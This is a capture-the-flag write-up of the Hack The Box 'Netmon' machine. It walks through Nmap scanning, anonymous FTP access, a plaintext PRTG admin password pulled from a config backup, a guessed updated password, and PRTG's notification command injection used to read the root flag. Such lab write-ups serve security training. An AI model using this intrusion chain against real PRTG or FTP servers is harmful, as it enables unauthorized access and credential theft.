Netmon Writeup
Introduction :
Netmon is an easy Windows box that was released back in March 2019.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ nmap -F 10.10.10.152 --top-ports 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 08:36 CET
Nmap scan report for 10.10.10.152
Host is up (0.037s latency).
Not shown: 8313 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
Nmap done: 1 IP address (1 host up) scanned in 6.13 seconds
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ nmap -sCV -p21,80,135,139,445,5985,47001 10.10.10.152
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 08:36 CET
Nmap scan report for 10.10.10.152
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <****DIR> inetpub
| 07-16-16 08:18AM <****DIR> PerfLogs
| 02-25-19 09:56PM <****DIR> Program Files
| 02-02-19 11:28PM <****DIR> Program Files (x86)
| 02-03-19 07:08AM <****DIR> Users
|_02-25-19 10:49PM <****DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 31s, deviation: 0s, median: 30s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-09T07:37:33
|_ start_date: 2019-12-09T07:33:41
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.27 seconds
Part 2 : Getting User Access
Looking at the results, we see that ftp allows us to login as the user account , so we login using the default credentials (anonymous:anonymous:)
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:nihilist): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <****DIR> inetpub
07-16-16 08:18AM <****DIR> PerfLogs
02-25-19 09:56PM <****DIR> Program Files
02-02-19 11:28PM <****DIR> Program Files (x86)
02-03-19 07:08AM <****DIR> Users
02-25-19 10:49PM <****DIR> Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 10:44PM <****DIR> Administrator
02-02-19 11:35PM <****DIR> Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <****DIR> Documents
07-16-16 08:18AM <****DIR> Downloads
07-16-16 08:18AM <****DIR> Music
07-16-16 08:18AM <****DIR> Pictures
02-02-19 11:35PM 33 user.txt
07-16-16 08:18AM <****DIR> Videos
226 Transfer complete.
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.0344 seconds (958 bytes/s)
ftp> quit
221 Goodbye.
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ cat user.txt
ddXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have the user flag.
Part 3 : Getting Root Access
In order to find the root flag, we need to enumerate a little bit what lies inside the /ProgramData folder.
ftp> cd /ProgramData
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:15PM <****DIR> Licenses
11-20-16 09:36PM <****DIR> Microsoft
02-02-19 11:18PM <****DIR> Paessler
02-03-19 07:05AM <****DIR> regid.1991-06.com.microsoft
07-16-16 08:18AM <****DIR> SoftwareDistribution
02-02-19 11:15PM <****DIR> TEMP
11-20-16 09:19PM <****DIR> USOPrivate
11-20-16 09:19PM <****DIR> USOShared
02-25-19 09:56PM <****DIR> VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
12-09-19 02:35AM <****DIR> PRTG Network Monitor
226 Transfer complete.
Interesting ! seems like there is a PRTG Service running, let's see if we can get anything out of it.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:40PM <****DIR> Configuration Auto-Backups
12-09-19 02:34AM <****DIR> Log Database
02-02-19 11:18PM <****DIR> Logs (Debug)
02-02-19 11:18PM <****DIR> Logs (Sensors)
02-02-19 11:18PM <****DIR> Logs (System)
12-09-19 02:34AM <****DIR> Logs (Web Server)
02-25-19 07:01PM <****DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
02-25-19 09:54PM 1189697 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
12-09-19 02:35AM 1647616 PRTG Graph Data Cache.dat
02-25-19 10:00PM <****DIR> Report PDFs
02-02-19 11:18PM <****DIR> System Information Database
02-02-19 11:40PM <****DIR> Ticket Database
02-02-19 11:18PM <****DIR> ToDo Database
226 Transfer complete.
ftp>
Looks like we have a few configuration files to work with, let's save the "PRTG Configuration.old.bak" one locally and see if we can get anything out of it.
ftp> get "PRTG Configuration.old.bak'
200 PORT command successful.
550 The system cannot find the file specified.
ftp> get "PRTG Configuration.old.bak"
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 0.516 seconds (2.13 Mbytes/s)
ftp> quit
221 Goodbye.
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ]
→nano PRTG\ Configuration.old.bak
<****dbpassword> <****!-- User: prtgadmin -->
PrTg@dmin2018 <****/dbpassword>
And we have unencrypted credentials ! Let's see if we can use them somewhere.
Of course these are the old credentials, so let's update the password to : PrTg@dmin2019
And we are logged in ! now let's navigate to the Notifications page, into the "Executing Program" tab, where the command injection vulnerability is located.
Once the infected notification is created, execute it and check out the ftp C:/Users/Public directory once again.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <****DIR> Documents
07-16-16 08:18AM <****DIR> Downloads
07-16-16 08:18AM <****DIR> Music
07-16-16 08:18AM <****DIR> Pictures
02-02-19 11:35PM 33 user.txt
02-02-19 11:35PM 33 nihilist.txt
07-16-16 08:18AM <****DIR> Videos
226 Transfer complete.
ftp> get nihilist.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.0438 seconds (754 bytes/s)
ftp> quit
221 Goodbye.
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ]
→ cat nihilist.txt
30XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the root flag.
Conclusion
Here we can see the progress graph :
Nihilist
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